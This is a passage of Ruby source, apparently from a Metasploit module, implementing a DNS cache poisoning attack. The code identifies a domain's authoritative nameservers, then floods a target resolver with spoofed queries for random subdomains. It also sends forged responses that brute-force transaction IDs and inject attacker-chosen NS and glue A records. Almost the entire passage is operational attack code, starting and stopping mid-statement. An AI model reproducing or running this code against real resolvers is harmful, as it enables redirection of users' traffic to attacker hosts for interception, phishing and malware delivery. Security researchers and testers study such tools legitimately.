= srv_sock.recvfrom() if res and res.length > 0 res = Resolv::DNS::Message.decode(res) res.each_answer do |name, ttl, data| if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) t_addr, t_port = $1.split(':') sport = t_port.to_i print_status("Switching to target port #{sport} based on Metasploit service") if target != t_addr print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!") end end end end end # Verify its not already poisoned begin query = Resolv::DNS::Message.new query.add_question(domain, Resolv::DNS::Resource::IN::NS) query.rd = 0 begin cached = false srv_sock.put(query.encode) answer, addr = srv_sock.recvfrom() if answer and answer.length > 0 answer = Resolv::DNS::Message.decode(answer) answer.each_answer do |name, ttl, data| if((name.to_s + ".") == domain and data.name.to_s == newdns) t = Time.now + ttl print_status("Failure: This domain is already using #{newdns} as a nameserver") print_status(" Cache entry expires on #{t.to_s}") srv_sock.close disconnect_ip return end end end end until not cached rescue ::Interrupt raise $! rescue ::Exception => e print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}") end res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver print_status "Targeting nameserver #{target} for injection of #{domain} nameservers as #{newdns}" # Look up the nameservers for the domain print_status "Querying recon nameserver for #{domain}'s nameservers..." answer0 = res0.send(domain, Net::DNS::NS) #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities" barbs = [] # storage for nameservers answer0.answer.each do |rr0| print_status " Got an #{rr0.type} record: #{rr0.inspect}" if rr0.type == 'NS' print_status " Querying recon nameserver for address of #{rr0.nsdname}..." answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities" answer1.answer.each do |rr1| print_status " Got an #{rr1.type} record: #{rr1.inspect}" res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1) print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..." answer2 = res2.send(domain) if answer2 and answer2.header.auth? and answer2.header.anCount >= 1 nsrec = {:name => rr0.nsdname, :addr => rr1.address} barbs << nsrec print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as" end end end end if barbs.length == 0 print_status( "No DNS servers found.") srv_sock.close disconnect_ip return end # Flood the target with queries and spoofed responses, one will eventually hit queries = 0 responses = 0 connect_ip if not ip_sock print_status( "Attempting to inject poison records for #{domain}'s nameservers into #{target}:#{sport}...") while true randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname # Send spoofed query req = Resolv::DNS::Message.new req.id = rand(2**16) req.add_question(randhost, Resolv::DNS::Resource::IN::A) req.rd = 1 buff = ( Scruby::IP.new( #:src => barbs[0][:addr].to_s, :src => source, :dst => target, :proto => 17 )/Scruby::UDP.new( :sport => (rand((2**16)-1024)+1024).to_i, :dport => 53 )/req.encode ).to_net ip_sock.sendto(buff, target) queries += 1 # Send evil spoofed answer from ALL nameservers (barbs[*][:addr]) req.add_answer(randhost, newttl, Resolv::DNS::Resource::IN::A.new(address)) req.add_authority(domain, newttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(newdns))) req.add_additional(newdns, newttl, Resolv::DNS::Resource::IN::A.new(address)) # Ignored req.qr = 1 req.aa = 1 xidbase.upto(xidbase+xids-1) do |id| req.id = id barbs.each do |barb| buff = ( Scruby::IP.new( #:src => barbs[i][:addr].to_s, :src => barb[:addr].to_s, :dst => target, :proto => 17 )/Scruby::UDP.new( :sport => 53, :dport => sport.to_i )/req.encode ).to_net ip_sock.sendto(buff, target) responses += 1 end end # status update if queries